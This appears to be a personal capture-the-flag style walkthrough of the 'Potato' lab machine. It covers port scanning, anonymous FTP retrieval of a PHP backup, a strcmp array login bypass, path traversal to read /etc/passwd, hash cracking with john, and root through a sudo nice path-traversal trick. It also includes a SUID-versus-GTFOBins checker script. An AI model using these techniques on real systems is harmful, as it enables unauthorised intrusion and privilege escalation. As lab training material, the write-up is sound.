Portal to my Matrix (Professional Portfolio)
Autorecon takes way too long for me so I'll run nmap for now
nmap -sV -sC -p- -v 192.168.236.101 --open -oN potato2.scan
I like knowing the serviceVersion and running nmap's sCripts on all ports in case they open some >ridiculous< port out there. -v is good to know if the system crashed or not and I only care about --open things.
Nmap scan report for 192.168.236.101
Host is up (0.071s latency).
Not shown: 61240 closed tcp ports (conn-refused), 4292 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ef240eabd2b316b44b2e27c05f48798b (RSA)
| 256 f2d8353f4959858507e6a20e657a8c4b (ECDSA)
|_ 256 0b2389c3c026d5645e93b7baf5147f3e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
2112/tcp open ftp ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak
|_-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msg
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 08:06
Completed NSE at 08:06, 0.00s elapsed
Initiating NSE at 08:06
Completed NSE at 08:06, 0.00s elapsed
Initiating NSE at 08:06
Completed NSE at 08:06, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.11 seconds
Now to check out the web port
<html>
<head><title>Potato company</title></head>
<body>
<h1>Potato company</h1>
<p>At the moment, there is nothing. This site is under construction. To make you wait, here is a photo of a potato:</p>
<img src="potato.jpg">
</body>
<html>
Also wtf is up with this potato...
Now time to run directory scans on the web server
I like the gui of dirbuster minus the button glitch but I'm debating on using dirb due to it's ease of use or gobuster
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /icons/ - 403
File found: /index.php - 200
Dir found: /admin/ - 200
File found: /admin/index.php - 200
Dir found: /icons/small/ - 403
navigation to admin/index.php
<html>
<head></head>
<body>
<form action="index.php?login=1" method="POST">
<h1>Login</h1>
<label><b>User:</b></label>
<input type="text" name="username" required>
</br>
<label><b>Password:</b></label>
<input type="password" name="password" required>
</br>
<input type="submit" id='submit' value='Login' >
</form>
</body>
</html>
Now to check the weird FTP on 2112
ftp 192.168.236.101 2112 08:10:15
Connected to 192.168.236.101.
220 ProFTPD Server (Debian) [::ffff:192.168.236.101]
Name (192.168.236.101:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230-Welcome, archive user anonymous@192.168.45.233 !
230-
230-The local time is: Sun Jun 04 12:10:41 2023
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||31513|)
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak
-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msg
226 Transfer complete
ftp>get welcome.msg
ftp>get index.php.bak
→ cat welcome.msg 08:13:11
Welcome, archive user %U@%R !
The local time is: %T
kali 🏡 OSCP Potato
→ cat index.php.bak 08:13:13
<html>
<head></head>
<body>
<?php
$pass= "potato"; //note Change this password regularly
if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
setcookie('pass', $pass, time() + 365*24*3600);
}else{
echo "<p>Bad login/password! </br> Return to the <a href=\"index.php\">login page</a> <p>";
}
exit();
}
?>
<form action="index.php?login=1" method="POST">
<h1>Login</h1>
<label><b>User:</b></label>
<input type="text" name="username" required>
</br>
<label><b>Password:</b></label>
<input type="password" name="password" required>
</br>
<input type="submit" id='submit' value='Login' >
</form>
</body>
</html>
So try admin:potato...
<html>
<head></head>
<body>
<p>Bad user/password! </br> Return to the <a href="index.php">login page</a> <p>
and it didn't take
Looking for ways to bypass their password authentication method yields this databyte
Basically pass the password as an array via password[ ] rather than the original one
Time to load up burp and shoot it over.
I opted to use burp's browser so I get less of a headache with the foxy proxy config
And I'm logged in
<html>
<head></head>
<body>
Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>
Now in the admin dashboard I can see the following with their respective data dumped
HOME
Admin area
Access forbidden if you don't have permission to access
USERS
Users list:
- Admin
DATE
The curent time:
Sun Jun 4 12:48:50 UTC 2023
LOGS
Contenu du fichier log_01.txt :
Operation: password change
Date: January 03, 2020 / 11:25 a.m.
User: admin
Status: OK
Contenu du fichier log_02.txt :
Operation: reboot the server
Date: January 09, 2020 / 9:55 a.m.
User: admin
Status: OK
Contenu du fichier log_03.txt :
Operation: password change
Date: August 2, 2020 / 9:25 p.m.
User: admin
Status: OK
So since logs retrieves logs I'll try to retrieve etc/passwd
Cool so that worked. Now to crack the hash for webadmin
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
dump hash into a file and run john to attempt to crack it
→ vi hash 08:56:21
kali 🏡 OSCP Potato
→ john hash 08:56:28
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
dragon (webadmin)
1g 0:00:00:00 DONE 2/3 (2023-06-04 08:56) 1.388g/s 2416p/s 2416c/s 2416C/s 123456..bigben
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Great now to login via ssh
ssh webadmin@192.168.236.101 08:57:30
The authenticity of host '192.168.236.101 (192.168.236.101)' can't be established.
ED25519 key fingerprint is SHA256:9DQds4tRzLVKtayQC3VgIo53wDRYtKzwBRgF14XKjCg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.236.101' (ED25519) to the list of known hosts.
webadmin@192.168.236.101's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 04 Jun 2023 12:57:47 PM UTC
System load: 0.0 Processes: 150
Usage of /: 13.0% of 31.37GB Users logged in: 0
Memory usage: 32% IPv4 address for ens192: 192.168.236.101
Swap usage: 0%
118 updates can be installed immediately.
33 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
webadmin@serv:~$ ls
local.txt user.txt
webadmin@serv:~$ cat local.txt
ef0049166d4698800029939177905f63
Ok now for privesc
First attempt to login to sudo
webadmin@serv:~$ sudo -l
[sudo] password for webadmin:
Sorry, try again.
[sudo] password for webadmin:
Matching Defaults entries for webadmin on serv:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on serv:
(ALL : ALL) /bin/nice /notes/*
Seems I can run nice in the notes directory
Also ran a perm check as well:
webadmin@serv:~$ find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 55528 Apr 2 2020 /usr/bin/mount
-rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
-rwsr-xr-x 1 root root 166056 Feb 3 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 88464 Apr 16 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39144 Apr 2 2020 /usr/bin/umount
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 85064 Apr 16 2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 44784 Apr 16 2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 67816 Apr 2 2020 /usr/bin/su
-rwsr-xr-x 1 root root 53040 Apr 16 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 68208 Apr 16 2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 473576 May 29 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 51344 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 130152 Jul 10 2020 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 22840 Aug 16 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 110792 Sep 4 2020 /snap/snapd/9279/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 110792 Jul 10 2020 /snap/snapd/8542/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 43088 Mar 5 2020 /snap/core18/1885/bin/mount
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/1885/bin/ping
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/1885/bin/su
-rwsr-xr-x 1 root root 26696 Mar 5 2020 /snap/core18/1885/bin/umount
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/1885/usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/1885/usr/bin/chsh
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/1885/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/1885/usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/1885/usr/bin/passwd
-rwsr-xr-x 1 root root 149080 Jan 31 2020 /snap/core18/1885/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2020 /snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/1885/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 43088 Mar 5 2020 /snap/core18/1880/bin/mount
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/1880/bin/ping
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/1880/bin/su
-rwsr-xr-x 1 root root 26696 Mar 5 2020 /snap/core18/1880/bin/umount
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/1880/usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/1880/usr/bin/chsh
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/1880/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/1880/usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/1880/usr/bin/passwd
-rwsr-xr-x 1 root root 149080 Jan 31 2020 /snap/core18/1880/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2020 /snap/core18/1880/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/1880/usr/lib/openssh/ssh-keysign
I synthesized a script that does this check and checks for the GTFObins list
#!/bin/bash
#This script will output the full information of any SUID files that are also listed as potentially dangerous according to your Gtfobins list.
#Remember to run the script with appropriate permissions to ensure it can access and check all files.
# List of dangerous binaries - this list is based on the Gtfobins list you provided
Gtfobins_list=(
"7z"
"aa-exec"
"ab"
"agetty"
"alpine"
"ansible-playbook"
"ansible-test"
"aoss"
"apt-get"
"apt"
"ar"
"aria2c"
"arj"
"arp"
"as"
"ascii-xfr"
"ascii85"
"ash"
"aspell"
"at"
"atobm"
"awk"
"aws"
"base32"
"base58"
"base64"
"basenc"
"basez"
"bash"
"batcat"
"bc"
"bconsole"
"bpftrace"
"bridge"
"bundle"
"bundler"
"busctl"
"busybox"
"byebug"
"bzip2"
"c89"
"c99"
"cabal"
"cancel"
"capsh"
"cat"
"cdist"
"certbot"
"check_by_ssh"
"check_cups"
"check_log"
"check_memory"
"check_raid"
"check_ssl_cert"
"check_statusfile"
"chmod"
"choom"
"chown"
"chroot"
"cmp"
"cobc"
"column"
"comm"
"composer"
"cowsay"
"cowthink"
"cp"
"cpan"
"cpio"
"cpulimit"
"crash"
"crontab"
"csh"
"csplit"
"csvtool"
"cupsfilter"
"curl"
"cut"
"dash"
"date"
"dd"
"debugfs"
"dialog"
"diff"
"dig"
"distcc"
"dmesg"
"dmidecode"
"dmsetup"
"dnf"
"docker"
"dos2unix"
"dosbox"
"dotnet"
"dpkg"
"dstat"
"dvips"
"easy_install"
"eb"
"ed"
"efax"
"elvish"
"emacs"
"env"
"eqn"
"espeak"
"ex"
"exiftool"
"expand"
"expect"
"facter"
"file"
"find"
"finger"
"fish"
"flock"
"fmt"
"fold"
"fping"
"ftp"
"gawk"
"gcc"
"gcloud"
"gcore"
"gdb"
"gem"
"genie"
"genisoimage"
"ghc"
"ghci"
"gimp"
"ginsh"
"git"
"grc"
"grep"
"gtester"
"gzip"
"hd"
"head"
"hexdump"
"highlight"
"hping3"
"iconv"
"iftop"
"install"
"ionice"
"ip"
"irb"
"ispell"
"jjs"
"joe"
"join"
"journalctl"
"jq"
"jrunscript"
"jtag"
"julia"
"knife"
"ksh"
"ksshell"
"ksu"
"kubectl"
"latex"
"latexmk"
"ld.so"
"ldconfig"
"less"
"lftp"
"ln"
"loginctl"
"logsave"
"look"
"lp"
"ltrace"
"lua"
"lualatex"
"luatex"
"lwp-download"
"lwp-request"
"mail"
"make"
"man"
"mawk"
"more"
"mosquitto"
"mount"
"msfconsole"
"msgattrib"
"msgcat"
"msgconv"
"msgfilter"
"msgmerge"
"msguniq"
"mtr"
"multitime"
"mv"
"mysql"
"nano"
"nasm"
"nawk"
"nc"
"ncftp"
"neofetch"
"nft"
"nice"
"nl"
"nm"
"nmap"
"node"
"nohup"
"npm"
"nroff"
"nsenter"
"octave"
"od"
"openssl"
"openvpn"
"openvt"
"opkg"
"pandoc"
"paste"
"pax"
"pdb"
"pdflatex"
"pdftex"
"perf"
"perl"
"perlbug"
"pexec"
"pg"
"php"
"pic"
"pico"
"pidstat"
"pip"
"pkexec"
"pkg"
"posh"
"pr"
"pry"
"psftp"
"psql"
"ptx"
"puppet"
"pwsh"
"python"
"rake"
"rc"
"readelf"
"red"
"redcarpet"
"redis"
"restic"
"rev"
"rlogin"
"rlwrap"
"rpm"
"rpmdb"
"rpmquery"
"rpmverify"
"rsync"
"rtorrent"
"ruby"
"run-mailcap"
"run-parts"
"rview"
"rvim"
"sash"
"scanmem"
"scp"
"screen"
"script"
"scrot"
"sed"
"service"
"setarch"
"setfacl"
"setlock"
"sftp"
"sg"
"shuf"
"slsh"
"smbclient"
"snap"
"socat"
"socket"
"soelim"
"softlimit"
"sort"
"split"
"sqlite3"
"sqlmap"
"ss"
"ssh-agent"
"ssh-keygen"
"ssh-keyscan"
"ssh"
"sshpass"
"start-stop-daemon"
"stdbuf"
"strace"
"strings"
"su"
"sysctl"
"systemctl"
"systemd-resolve"
"tac"
"tail"
"tar"
"task"
"taskset"
"tasksh"
"tbl"
"tclsh"
"tcpdump"
"tdbtool"
"tee"
"telnet"
"tex"
"tftp"
"tic"
"time"
"timedatectl"
"timeout"
"tmate"
"tmux"
"top"
"torify"
"torsocks"
"troff"
"tshark"
"ul"
"unexpand"
"uniq"
"unshare"
"unzip"
"update-alternatives"
"uudecode"
"uuencode"
"vagrant"
"valgrind"
"vi"
"view"
"vigr"
"vim"
"vimdiff"
"vipw"
"virsh"
"volatility"
"w3m"
"wall"
"watch"
"wc"
"wget"
"whiptail"
"whois"
"wireshark"
"wish"
"xargs"
"xdotool"
"xelatex"
"xetex"
"xmodmap"
"xmore"
"xpad"
"xxd"
"xz"
"yarn"
"yash"
"yelp"
"yum"
"zathura"
"zip"
"zsh"
"zsoelim"
"zypper"
)
# Finding all files with SUID permission
file_list=$(find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null | awk '{print $NF}')
# For each file in the file list
while read -r line; do
# Get the base name of the file
filename=$(basename "$line")
# For each dangerous binary in Gtfobins list
for bin in "${Gtfobins_list[@]}"; do
# If the filename is in the Gtfobins list
if [[ "$filename" == "$bin" ]]; then
# Print out the full file information
echo "$line is a potentially dangerous binary with SUID permission"
fi
done
done <<< "$file_list"
Tangent completed
Ok so since nice had sudo privileges as long as it was run from notes then the script to open up a bash shell was ran via nice at the notes directory then traversed to point top the webadmin home directory
webadmin@serv:~$ echo "/bin/bash" >> root.sh
webadmin@serv:~$ chmod +x root.sh
webadmin@serv:~$ sudo /bin/nice /notes/../home/webadmin/root.sh
[sudo] password for webadmin:
root@serv:/home/webadmin# whoami
root
root@serv:/home/webadmin# cd ~
root@serv:~# ls
proof.txt root.txt snap
root@serv:~# cat proof.txt
24d0418268f96bf641244a5180bc0a6d
root@serv:~#
Boot2Root